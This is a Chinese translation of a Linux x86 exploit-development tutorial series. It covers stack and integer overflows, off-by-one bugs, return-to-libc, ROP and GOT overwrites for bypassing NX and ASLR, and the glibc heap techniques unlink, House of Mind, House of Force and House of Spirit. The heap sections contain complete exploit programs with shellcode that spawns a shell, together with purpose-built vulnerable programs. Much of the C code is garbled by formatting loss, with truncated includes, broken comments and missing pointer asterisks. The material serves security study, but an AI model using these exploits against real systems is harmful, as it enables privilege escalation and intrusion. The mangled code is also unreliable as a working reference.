Linux内存破坏方式总结(翻译)
For fast review
翻译自 https://sploitfun.wordpress.com/
Linux (x86) Exploit Development Series
1. 基本漏洞
经典的栈溢出
造成BOF的两种原因:
- 源字符串的长度大于目标字符串长度
- 未进行大小检查 因此也存在栈溢出和堆溢出两种溢出点,最终目标是造成任意代码执行 要想实现代码的任意执行,就需要使用叫做覆盖返回地址的技术,它需要覆盖在栈中的返回地址,从而可以将其导至任意地址的代码执行 步骤:
- 找到返回的地址
- 确定覆盖的准确长度
整数溢出
保存一个比最大值更大的数值可能导致整数溢出的问题,本质上还是利用栈溢出或堆溢出。 char-1 byte short-2 bytes int-4 bytes Simple example:当给一个int一个2147483648,它就会辨识成-2147483648 同样,也存在下溢的情况 示例:一个对字符串长度的检查,结果保存在了unsigned char中,最终是判断长度是否在4~8之间,如果在则strcpy到栈上,但是可以利用整数溢出,就可以绕过这里的检查从而造成BOF
Off-by-one(大小差一)
当==源字符串长度等于目标缓冲区长度==时,可能会导致off-by-one的漏洞发生 由于拷贝字符串时会将字符串的末尾加入一个\x00,因此就可能修改到下一个变量(如RBP)在栈中的LSB,这就可能导致任意代码执行 如下面的代码:
//vuln.c #include <stdio.h> #include <string.h> void foo(char* arg); void bar(char* arg); void foo(char* arg) { bar(arg); /* [1] */ } void bar(char* arg) { char buf[256]; strcpy(buf, arg); /* [2] */ } int main(int argc, char *argv[]) { if(strlen(argv[1])>256) { /* [3] */ printf("Attempted Buffer Overflow\n"); fflush(stdout); return -1; } foo(argv[1]); /* [4] */ return 0; }应对的两种办法:
- 在RBP和目标栈地址之前加一些其他变量
- 对空间进行16bytes对齐(即gcc很多情况下进行的 and esp 0xfffffff0)
2. 绕过漏洞检测的方法
return-to-libc绕过NX
开启NX位保护导致了栈地址的无法执行,但这也并不是万无一失的策略
读取elf每个段的权限信息、偏移、VA、PA、文件大小、内存大小信息: readelf -l [filename]
因此我们可以让其返回到libc中的system地址,并且提前在栈上设置好参数,就可以执行system(‘/bin/sh’)了 principle of least privilege: 这一项技术让root用户能够通过设置uid来仅在真正需要的时候获得一些root权限 因此如果只是简单调用system(‘/bin/sh’)可能在这样的情况下无效 但是如果我们可以构建出一条return-to-libc链的话:
- seteuid(0)
- system(“sh”)
- exit()
我们就依然可以获得root shell了
链式return-to-libc绕过NX
就像前一节所说,如何构建这样一条链就成了当下所需面对的问题:
- 在栈中的同样位置,攻击者需要同时放置函数链上所有的函数参数和地址,这显然不太可能。
- seteuid需要一个0作为参数,但是strcpy会因为\x00而终止字符串拷贝 那么如何解决上述两个问题? 对于第一个问题,有如下两种:
- ESP 抬升
- 构造虚假的Frame
一下先只介绍Frame Faking:
每个Frame由:
- func_arg
- leave-ret
- func_addr
- fake_ebp
从上到下组成
对于第二个问题,有如下的方法:
在构造ROP链时,前几个函数调用应该是strcpy,从而能够将一个NULL字节拷贝到seteuid_args的栈地址。
如果strcpy的地址中含有\x00,也可以用sprintf等函数来place一个NULL上去
绕过ASLR
return-to-plt
在前几节的实践当中,我们知道攻击者需要知道
- 栈地址(从而跳到shellcode)
- libc基址(来绕过NX位)
ASLR(Address Space Layout Randomization)是一种攻击的缓解手段,它能够随机化栈地址、堆地址和共享的库地址(such as libc.so)
一旦上述的地址随机化之后,之前所述的绕过NX位的方法就不能用了(因为libc的基址未知)
攻击者控制RIP返回到PLT表中(地址在执行前就已知确定)
PLT(Procedual Linkage Table)
动态链接和静态链接不同,共享库的代码段在多个进程中是共享的,而他们的数据段对每个进程而言又是独立的,这样就可以减少空间消耗。 既然代码段是共享的,那么其就应该只有读和执行权限,因此动态链接器就无法重新定位代码段中的数据符号或者是函数地址(没有写权限)。 那么动态链接器是如何在运行时不通过修改代码段来重定位共享库符号?于是就引入了PIC PIC(位置独立代码)用来解决这个问题:它保证除了在加载时重定位的其他时候共享库的代码段都可以在多个进程当中使用。共享库的代码段不包括global 符号和函数引用的绝对内存地址,而是指向内存中的一个表。作为重定位的一部分,动态链接成分填充了这个表。这就是为什么重定位只有数据块被修改而代码段却没有的原因。 动态加载器通过如下的两种方法来重定位PIC中的global符号和函数
- GOT(Global Offset Table)这个表包括为每个global变量的4字节入口,而这个入口中包含了global变量的地址。当代码段中的一条指令引用了一个global变量之后,并不是指向GOT表中的入口,入口由动态加载时由链接器进行重定位,因此PIC使用这个表来对global变量进行一种重定位
- PLT(Procedural Linkage Table)在这个表中,它为每个global函数都包含了一段简短的代码。代码段中的调用指令并不是直接调用了函数本身,而是先调用了这个表中的这一小段代码。这一小段代码在动态链接器的帮助下得到函数地址并将其copy到GOT表当中。这样,在下一次再调用这个函数的时候,这一小段代码就可以帮助直接跳转到GOT表当中的地址。PIC使用这个表来对函数地址进行另一种重定位。
尽管这个方法很酷,但是不知道你想过没有,尽管你使用了一个并不会在进程间共享的动态库,你的代码中仍然会有GOT入口和PLT短代码呢?这是因为NX安全保护机制。如今的代码段基本上只有读和执行的权限而没有写权限了。即便是动态链接器也不能对代码段中call或者调用的global变量地址作修改,因此为了使linker仍然能够重定位,执行文件仍然需要像共享库一样的GOT入口和PLT短代码。
因此,攻击者并不需要准确的libc函数地址从而去调用它,他可以简单地直接去掉用PLT中的地址,因此这个地址在程序执行之前就可通过逆向的手段得到。
暴力破解
本篇介绍如何利用暴力技术绕过共享库地址随机化。 也就是说,攻击者使用一个选定的libc地址并且不断调用程序直到成功 在本篇中给出的样例,ASLR只对libc地址的中间两位进行了随机化(hex),也就是说最多只有256中libc地址可能性,因此实际上攻击者也不许要尝试很多次就可以得到shell 同样的,栈和堆地址也可以通过暴力得到,但是在这几个都需要暴力得到的时候,效率就很低了(256256256 etc.)
GOT覆写、GOT间接引用
本篇介绍如何使用GOT覆写和GOT间接引用来绕过地址随机化。 GOT覆写:这项技术帮助攻击者在已知另一个libc函数的情况下覆写掉某个特定的libc函数地址。比方说:GOT[getuid]在第一次调用之后就会包含函数地址,但是它可以被覆写为execve函数的地址。我们已经知道,在共享库当中,函数相对于动态库基址的偏移是确定的。因此我们可以通过先得到getuid在执行时在内存中的地址,计算出libc在内存中的基址,继而计算出execve等其他函数在内存中的地址了,再将这个地址覆写到getuid的GOT表上,在执行getuid时就会执行execve函数了 GOT间接引用:与GOT覆写类似,但是这里是并不是覆写GOT的入口,而是修改读取地址、拷贝到寄存器的值。见下:
offset_diff = execve_addr - getuid_addr eax = GOT[getuid] eax = eax + offset_diff这两种技术大致相同,但是如何在运行时利用BOF来执行这些行为呢?我们首先需要确定这样一个函数,它会计算这个偏移量并且将结果拷贝到寄存器中,然后我们跳到这个函数里来实现GOT的覆写或者间接引用。但是显然,在libc或者执行文件自带的代码中没有这样的单一函数供利用。因此我们就需要利用到ROP的技术。 ROP:攻击者通过执行一系列的短代码(称为gadgets)来实现某个函数的功能 gadget:是一系列以‘ret’结尾的汇编代码。攻击者首先使用gadget的地址覆写掉返回地址,然后gadget会执行一部分想要调用的函数的一部分功能,然后ret返回到栈上布置的下一个gadget地址。这样,一系列的gadget连接起来,即便是去掉了system这样的重要函数的符号,攻击者也可以实现system函数的功能了。 那么如何找到执行文件中的可用的gadget呢?我们则通常使用gadget工具如ropeme、ROPgadget、rp++等等,这些能够帮助攻击者找到二进制文件当中的gadget。这些工具基本上都是先找ret指令的地址,然后回溯找一系列可用的机器指令。 本篇仅介绍如何使用ROP gadget来覆写GOT或者造成GOT间接引用的。
使用ROP覆写GOT
Gadget 1:将两个函数的偏移量差值加到GOT表当中,如:
addl %eax, 0x5D5B04C4(%ebx) ; ret ;只要将ebx设为GOT[getuid]-0x5D5B04C4就可以了 Gadget 2:确保ebx包含了getuid在GOT中的入口,这里可以使用objdump -R [filename]查看DYNAMIC RELOCATION RECORDS中的OFFSET TYPE VALUE先得到GOT[getuid]具体是多少,然后找gadget把这个值赋给ebx,如:popl %ebx ; ret ;Gadget 3:保证eax中储存了偏移量的差值,最终的gadget在栈上的分布大致如下:使用ROP实现GOT间接引用
Garget 1:找到将偏移量差值加到GOT[getuid]上并且把结果保存到寄存器中
addl -0x0B8A0008(%ebx), %eax ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ;那么现在的目标就是使得ebx保存GOT[getuid] + 0xb8a0008的值并且eax保存偏移量的差值,我们就可以成功实现一次GOT间接引用了 Garget 2:同样的pop %ebx; ret;和pop %eax; ret;Garget 3:calll *%eax ;如果找不到中间的某个gadget,那么就需要手动进行ROP gadget的搜索了,如下面的代码:mov 0x34(%esp),%eax mov %eax,0x4(%esp) call *-0xe0(%ebx,%esi,4)注意保护寄存器的值不被改变,gadget纯靠自己的耐心寻找和精心设计 总是,一般采用逆向思维的方法,需要什么,布置什么,直至可以完全实现功能为止。 那么到目前为止,实现了调用getuid修改为调用execve,接下来再执行下列的函数链来执行root shell: seteuid@PLT -> getuid@PLT -> seteuid_arg -> execve_arg1 -> execve_arg2 -> execve_arg3 其中: setuid@PLT – setuid’s plt code address (0x80483c0). getuid@PLT – getuid’s plt code address (0x80483b0). But this invokes execve because we have already performed GOT overwrite. seteuid_arg should be zero to obtain root shell. execve_arg1 – filename – Address of string “/bin/sh” execve_arg2 – argv – Address of argument array whose content is [Address of “/bin/sh”, NULL]. execve_arg3 – envp – NULL 事先将’/bin/sh’写到一个指定的文件当中即可 但是又遇到了新的问题:栈地址随机化导致我们并不知道seteuid_arg’s的栈地址 那么又如何绕过栈地址随机化呢?
使用custom stack技术
custom stack 是一片攻击者能够控制的栈空间。攻击者能够将这一串libc函数链以及相应的参数拷贝到这一片空间当中来绕过ASLR。 这一片空间存在于程序自带的栈空间中,x86情况下示例如下 08048000-08049000 r-xp 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln 08049000-0804a000 r–p 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln ==0804a000-0804b000 rw-p 00001000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln== b7e21000-b7e22000 rw-p 00000000 00:00 0 b7e22000-b7fc5000 r-xp 00000000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so b7fc5000-b7fc7000 r–p 001a3000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so b7fc7000-b7fc8000 rw-p 001a5000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so b7fc8000-b7fcb000 rw-p 00000000 00:00 0 b7fdb000-b7fdd000 rw-p 00000000 00:00 0 b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso] b7fde000-b7ffe000 r-xp 00000000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so b7ffe000-b7fff000 r–p 0001f000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so b7fff000-b8000000 rw-p 00020000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] 也就是程序的.data segment 和 .bss segment 那么为了将这些内容拷到custom stack中,我们需要使用一系列strcpy的调用来覆写实际栈中的返回地址。如将seteuid@PLT(0x80483c0)拷到custom stack中需要:
- Four strcpy calls – One strcpy call for each hexadecimal value (0x08, 0x04, 0x83, 0xc0).
- Source argument of strcpy call should be the address of executable memory region which contains the required hexadecimal value and also we need to make sure that the value present in the chosen memory location shouldn’t get modified.
- Destination argument of strcpy call should be the address of custom stack location.
接下来,再使用叫做栈转移(stack pivoting)的技术。主要是利用leave这一条指令,事先将custom的值拷到ebp中,就可以把esp指向自己的custom stack上了。
Finally, get the shell.
3. 堆漏洞
使用unlink造成堆溢出
堆溢出的原理:
unlink的主要原理则是欺骗glibc malloc来unlink上图中的第二个chunk。这样GOT表z中的free函数入口就会被覆盖为shellcode的地址,这样当程序执行free函数的时候就会调用shellcode了。 free函数的原理:
- 对于没有映射到内存中的chunk,就将其与之前(或/和之后)的chunk进行合并
- 向后合并:
- 首先找前一个chunk是否已经被释放:函数检测当前chunk的PREV_INUSE(P)是否被置为0,如果是则判断前一个被free掉。但是在我们的案例当中,由于第一个chunk的PREV_INUSE位已经被设置为1,前一个chunk将被分配出来,默认情况下每个heap空间中的第一个chunk之前的chunk都会被分配出来(即便这个chunk并不存在)
- 如果是free的,就合并:unlink掉binlist的前一个chunk,将前一个chunk和将被free的chunk的大小相加,指针指向前一个chunk。但是又是在我们的案例当中,前一个chunk被分配了,因此unlink不会被触发。
- 所以,当下将被free的chunk无法向后合并了
- 向前合并:
- 判断下一个chunk是否被free:只有和当前将被free的chunk紧挨着的下下个chunk的PREV_INUSE(P)位为0时,下一个chunk才会被释放。因此为了找到下一个chunk的地址,将当前被free的指针加上当前chunk大小再加上下一个chunk大小。在我们的案例当中,将被free的下下个chunk是top chunk而且它的PREV_INUSE(P)被置为1了。因此下一个chunk不会被释放
- 如果是free的,就合并:从binlist中unlink掉下一个chunk并且把它的chunk大小加到当前的大小当中。但是又是在我们的案例当中,下一个chunk已经被分配了,因此unlink还是没有被调用。
- 因此当前的chunk不能被向前合并
- 现在将合并的chunk加入到unsorted bin中。然而在我们的案例当中,没有任何的合并发生,因此只是把当前要free的chunk加入到unsorted bin中 现在让我们考虑攻击者使用堆溢出覆盖了下一个chunk的header为如下情况:
- prev_size设为一个偶数,从而PREV_INUSE位为0
- size设为-4
- fd设为free address-12
- bk设为shellcode address 因此在攻击者的影响下会发生如下的情况:
- 对于未载入内存的chunk,按之前的一样
- 向后合并,按之前的一样
- 向前合并:
- 判断下一个chunk是否被释放:在我们的案例当中,将被free的chunk的下下个chunk并不是top chunk。下下个chunk相对于第二个chunk而言的偏移是-4。因此现在glibc malloc就会误判,将第二个chunk的PREV_INUSE当作下下个chunk的size域。因为攻击者将其改成了一个偶数,p位为0,那么malloc就会认为第二个chunk已经被释放了
- 如果被释放,就从binlist中unlink下一个chunk,而这大小合并。在我们的案例当中,下一个chunk被释放,因此第二个chunk会按如下方式unlink:
- 将第二个chunk的fd和bk拷贝到FD和BK变量当中。在我们的案例当中,FD=free address-12,BK=shellcode address(作为堆溢出的一部分,攻击者将shellcode摆在了第一个chunk的heap buffer中)
- 之后,BK的值就会copy到FD-12的地址上。在我们的案例中,给FD加上12bytes,也就是给指向GOT中free入口加上了12bytes,这样GOT表中的free入口就被覆写为shellcode的地址。这样执行free函数时就会执行shellcode执行了
- 现在就会将合并的chunk加入到unsorted bin当中
相应的当然有应对的保护措施:在当下,glibc malloc经过这么多年已经强化很多,unlink技术已经不起作用,下述的检查可以被用来使用unlink技术来堆溢出
- Double Free:禁止对一个堆free两次。当攻击者覆盖第二个chunk size为-4的时候,他的PREV_INUSE位为0,也就意味着第一个chunk已经是free的状态了,这样malloc就会抛出double free的错误。
- Invalid next size:下一个chunk的大小应该在8~main arena总大小之间,如果攻击者将其覆写为-4,就会抛出相关错误
- Corrupted Double Linked List:前一个chunk的fd和下一个chunk的bk应该指向当前将被unlink的chunk。如果攻击者将fd和bk覆写为free-12和shellcode地址,那么此时free和shellcode address+8并不是指向当前被unlink的chunk(即第二个chunk),那么glibc也会抛出double link的error
- 而且,NX、ASLR、RELRO也会造成阻碍
Malloc Maleficarum造成堆溢出
House of Mind
攻击者通过制造一个假的arena来欺骗glibc malloc,它能够使得unsorted bin的fd包含GOT表中的free地址-12。这样,当程序执行free时free的地址就能被改成shellcode的地址。这样再执行一次free,就能够调用到shellcode了。 实现的前提:
- 需要进行一系列的调用直到堆空间分布到攻击者可控的地方,而这也是假的heap_info结构所在的地址。记指向这一结构的指针为ar_ptr。这样无论是fake arena还是fake heap_info’s的内存空间都能够被攻击者所控制了
- 一个size域能被攻击者控制的chunk要被free掉
- 上述的chunk的下一个chunk不应该是top chunk
如下列的一个程序:
```
/* vuln.c
House of Mind vulnerable program
*/
#include
#include
int main (void) { char ptr = malloc(1024); / First allocated chunk / char *ptr2; / Second chunk/Last but one chunk / char *ptr3; / Last chunk */ int heap = (int)ptr & 0xFFF00000; _Bool found = 0; int i = 2;
for (i = 2; i < 1024; i++) {
/* Prereq 1: Series of malloc calls until a chunk’s address - when aligned to HEAP_MAX_SIZE results in 0x08100000 /
/ 0x08100000 is the place where fake heap_info structure is found. /
[1]if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) ==
(heap + 0x100000))) {
printf(“good heap allignment found on malloc() %i (%p)\n”, i, ptr2);
found = 1;
break;
}
}
[2]ptr3 = malloc(1024); / Last chunk. Prereq 3: Next chunk to ptr2 != av->top /
/ User Input. */
[3]fread (ptr, 1024 * 1024, 1, stdin);
[4]free(ptr2); /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. / [5]free(ptr3); / Shell code execution. / return(0); / Bye */ }

在line[3]处可以进行heap overflow,攻击者可以进行如下顺序的输入:
- Fake arena
- Junk
- Fake heap_info
- Shellcode
即下列的文件产生的输出:
/* exp.c
Program to generate attacker data.
Command:
#./exp > file
*/
#include
#define BIN1 0xb7fd8430
char scode[] = /* Shellcode to execute linux command “id”. Size - 72 bytes. */ “\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e” “\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f” “\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10” “\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26” “\x5e\x9e\x39\xcb\xbf\x04\xea\x42”;
char ret_str[4] = “\x00\x00\x00\x00”;
void convert_endianess(int arg) { int i=0; ret_str[3] = (arg & 0xFF000000) » 24; ret_str[2] = (arg & 0x00FF0000) » 16; ret_str[1] = (arg & 0x0000FF00) » 8; ret_str[0] = (arg & 0x000000FF) » 0; } int main() { int i=0,j=0;
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd */
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk */
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd_nextsize */
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk_nextsize */
/* Fake Arena. */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* mutex */
fwrite("\x01\x00\x00\x00", 4, 1, stdout); /* flag */
for(i=0;i<10;i++)
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fastbinsY */
fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */
for(i=0;i<127;i++) {
convert_endianess(BIN1+(i*8));
if(i == 119) {
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */
fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */
} else if(i==0) {
fwrite("\xe8\x98\x04\x08", 4, 1, stdout); /* bins[i][0] = (GOT(free) - 12) */
fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
}
else {
fwrite(ret_str, 4, 1, stdout); /* bins[i][0] */
fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
}
}
for(i=0;i<4;i++) {
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* binmap[i] */
}
fwrite("\x00\x84\xfd\xb7", 4, 1, stdout); /* next */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* next_free */
fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* system_mem */
fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* max_system_mem */
for(i=0;i<234;i++) {
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* PAD */
}
for(i=0;i<722;i++) {
if(i==721) {
/* Chunk 724 contains the shellcode. */
fwrite("\xeb\x18\x00\x00", 4, 1, stdout); /* prev_size - Jmp 24 bytes */
fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd_nextsize */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk_nextsize */
fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout); /* NOPS */
fwrite(scode, sizeof(scode)-1, 1, stdout); /* SHELLCODE */
for(j=0;j<230;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
continue;
} else {
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* prev_size */
fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* size */
}
if(i==720) {
for(j=0;j<90;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
fwrite("\x18\xa0\x04\x08", 4, 1, stdout); /* Arena Pointer */
for(j=0;j<165;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
} else {
for(j=0;j<256;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
}
}
return 0; } ```  当攻击者产生上述的输入之后,其后面的[4]free会执行以下的步骤: - 将要被free的chunk所在的arena将通过触发arena_for_chunk的宏命令给返回
- arena_for_chunk:如果NON_MAIN_ARENA(N)位不为0,main arena就会被返回。如果设为1,相应的heap_info结构就可以通过分配多个HEAP_MAX_SIZE的chunk来得到(因为此时会返回指向得到的heap_info的指针。在攻击案例当中,N位被攻击者设为了1,因此就能得到将被free的chunk的heap_info structure。攻击者还可以覆写arena指针(这个指针指向heap_info数据结构)使得其指向fake arena。因此ar_ptr(即指向heap_info的指针)就可以等于Fake arena的基址。 - 使用arena pointer来触发 _int_free并且使用chunk的地址来作为参数。在我们的案例当中,arena 指针指向了fake arena。这样fake arena和chunk地址就都可以传递给_int_free作为参数了
- Fake Arena:以下为一些攻击者必须对Fake arena进行布置的一些点:
- Mutex - 设置为unlocked状态
- Bins - Unsorted bin的fd应该包含GOT表中free的地址-12
- Top
- Top地址不应该等于即将被free的chunk地址
- Top地址应该比下一个chunk的地址要大
- System Memory - 这个应该比下一个chunk的大小要大 - _int_free()
- 如果chunk没有分配到内存当中,就去获得lock。在我们的案例当中,chunk没有mmap,因此fake arena的mutex lock就会成功获得
- 合并
- 确认前一个chunk是否被释放了,如果释放了就将他们合并。在我们的案例当中前一个chunk被分配了,因此它就不能向后合并了
- 确认后一个chunk是否被释放了,如果是就将他们合并。而在我们的案例当中下一个chunk也被分配了,因此它也不能向前合并了
- 将被释放的chunk放到unsorted bin当中。在我们的案例当中,fake arena的unsorted bin的fd包含了GOT中free的入口地址-12,而这也被copy到fwd的值当中。之后立马被释放的chunk的地址就会被复制到fwd->bk当中。bk位置在malloc_chunk的偏移12位置处,因此fwd的值会被加上12(因此为free-12+12)。因此现在GOT中free的入口就会被修改为当前被释放的chunk的地址。因为攻击者已经在当前被释放的chunk中放了shellcode,无论何时free被调用,shellcode就能够被执行了。 然而上述的手段现在也不能用了: - Corrupted chunks:Unsorted bin的第一个chunk的bk指针应该指向unsorted bin。如果不是,那么glibc就抛出corrupted chunk error ##### House of Force 在这一项技术当中,攻击者滥用top chunk的大小并欺骗malloc来给出一个很大的空间请求(比heap的系统空间更大)。这样当有新的malloc请求产生,GOT表中的free函数入口就会被shellcode地址所覆写。这样当之后再调用free的时候就会再次执行shellcode了 先决条件: 1. 攻击者要能控制top chunk的大小。这样堆溢出就能够在这个分配的chunk上实现成功了,因为二者的内存地址是相邻的 2. 攻击者还要能控制malloc请求的大小 3. 用户输入应该被拷贝到这篇分配的chunk当中去
那么再给出一个满足上述条件的vuln code:
/*
House of force vulnerable program.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *buf1, *buf2, *buf3;
if (argc != 4) {
printf("Usage Error\n");
return;
}
[1]buf1 = malloc(256);
[2]strcpy(buf1, argv[1]); /* Prereq 1 */
[3]buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 */
[4]buf3 = malloc(256); /* Prereq 3 */
[5]strcpy(buf3, argv[3]); /* Prereq 3 */
[6]free(buf3);
free(buf2);
free(buf1);
return 0;
}
第[2]行就是堆溢出发生的地方,因此为了有效地利用堆溢出,攻击者提供如下的命令参数:
- argv[1]:shellcode+pad+将被拷贝到第一个malloc出来的chunk的top chunk大小
- argv[2]:第二个malloc chunk的大小参数
- argv[3]:将被拷贝到第三个malloc chunk中的用户输入
我们同样构建出相应的exp:
```
/* Program to exploit executable ‘vuln’ using hof technique.
*/
#include
#include #include
#define VULNERABLE “./vuln” #define FREE_ADDRESS 0x08049858-0x8 #define MALLOC_SIZE “0xFFFFF744” #define BUF3_USER_INP “\x08\xa0\x04\x08”
/* Spawn a shell. Size - 25 bytes. */ char scode[] = “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80”;
int main( void )
{
int i;
char * p;
char argv1[ 265 ];
char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL };
strcpy(argv1,scode);
for(i=25;i<260;i++)
argv1[i] = 'A';
strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */
argv[264] = ''; /* Terminating NULL character */
/* Execution of the vulnerable program */
execve( argv[0], argv, NULL );
return( -1 ); } ```  那么在攻击者给出这些参数之后就能有如下的情况发生: 第[2]行覆写top chunk的大小: - 攻击者给出参数(argv[1]-shellcode+pad+0xFFFFFFFF)并能将其拷贝到堆buffer ‘buf1’中。但是由于argv[1]比256大,top chunk的大小就会被覆写为0xFFFFFFFF
第[3]行使用top chunk代码来分配出一个很大的block出来:
- 在分配之后又有一个很大的分配请求,新的top chunk就在GOT free函数的前面8个字节处,因此如果再给一些mallocrequest的话就能覆写GOT free函数的入口了
- 攻击者的参数(argv[2]-0xFFFF744)作为大小参数传递给了第二个malloc调用,大小参数的计算通过如下公式进行:
- 大小=((free-8)-top)
- free是GOT中free的入口地址,因此free=0x08049858
- top是当前的top chunk地址(在第一次malloc之后)
- 因此size=((0x8049858-0x8)-0x804a108)=-8b8=0xFFFFF748
- 当大小为0xFFFFF748时,我们放置新的top chunk 8字节地方应该在GOT的free入口应该通过如下的公式来实现:
- (0xFFFFF748+0x804a108) = 0x08049850 = (0x08049858-0x8)
- 但是当攻击者传进一个0xFFFFF748的参数时,glibc malloc会将其转化为0xFFFFF750,因此新的trunk会被分配在0x8049848而不是0x8049850。因此攻击者不应该传0xFFFFF748而应该是0xFFFFF744来作为size参数,这样就能得到我们最终要的0xFFFFF748了
- 大小=((free-8)-top)
第[4]行中:
- 如今既然在第[3]行中将top chunk指向了0x8049850,那么一个对内存256字节分配的请求将会使得glibc malloc返回0x8049858,从而得到buf3的一个copy
第[5]行中:
- 将buf1的地址拷贝到buf3,就可以造成GOT覆写了。在第[6]行中对free的调用就会造成shellcode的调用
这个即便是在最新的glibc中,也没有相应的对应措施 :P (2015.3.4)
House of Spirit
在这个技术当中,攻击者欺骗glibc malloc返回到在栈中(而不是堆空间)的chunk中。这个能让攻击者覆写栈上的返回地址 先决条件:
- 一个栈溢出,并且要能覆盖到glibc malloc返回的变量在栈上的保存位置
- 上述的这个chunk要能被释放掉。攻击者应该控制被释放的chunk的大小,使得它的大小要等于下一个malloc出的chunk大小
- malloc
- 用户输入还应该被copy到这个新malloc出的chunk中
example vuln code:
```
/* vuln.c
House of Spirit vulnerable program
*/
#include
#include #include
void fvuln(char str1, int age) { char *ptr1, name[44]; int local_age; char *ptr2; [1]local_age = age; / Prereq 2 */
[2]ptr1 = (char ) malloc(256); printf(“\nPTR1 = [ %p ]”, ptr1); [3]strcpy(name, str1); / Prereq 1 / printf(“\nPTR1 = [ %p ]\n”, ptr1); [4]free(ptr1); / Prereq 2 */
[5]ptr2 = (char ) malloc(40); / Prereq 3 / [6]snprintf(ptr2, 40-1, “%s is %d years old”, name, local_age); / Prereq 4 */ printf(“\n%s\n”, ptr2); }
int main(int argc, char argv[]) { int i=0; int stud_class[10]; / Required since nextchunk size should lie in between 8 and arena’s system_mem. */ for(i=0;i<10;i++) [7]stud_class[i] = 10; if (argc == 3) fvuln(argv[1], 25); return 0; }

在第[3]行中能够有bof的发生。因此攻击者为了成功exploit这个程序,需要给出下列的argv[1]:
argv[1] = Shell Code + Stack Address + Chunk Size
相应的exp如下:
/* Program to exploit executable ‘vuln’ using hos technique.
*/
#include
#define VULNERABLE “./vuln”
/* Shellcode to spwan a shell. Size: 48 bytes - Includes Return Address overwrite */ char scode[] = “\xeb\x0e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb8\xfd\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90”;
int main( void ) { int i; char * p; char argv1[54]; char * argv[] = { VULNERABLE, argv1, NULL };
strcpy(argv1,scode);
/* Overwrite ptr1 in vuln with stack address - 0xbffffdf0. Overwrite local_age in vuln with chunk size - 0x30 */
strcpy(argv1+48,"\xf0\xfd\xff\xbf\x30");
argv[53] = '';
/* Execution of the vulnerable program */
execve( argv[0], argv, NULL );
return( -1 ); } ```  那么返回地址是如何被覆写的呢? Line[3]: BOF - 在这里攻击者的输入argv[1]被拷贝到buffer 'name'当中。然而攻击者的输入比44大,变量的ptr1和local_age就会被栈地址和chunk大小给相应覆写
- 栈地址(0xbffffdf0):当第[5]行执行时glibc malloc就会被欺骗返回到这个地址上
- chunk大小(0x30):这个是用来在第[4]行被执行时用来欺骗glibc malloc的
Line[4]: 将stack region加入到glibc malloc的fast bin中
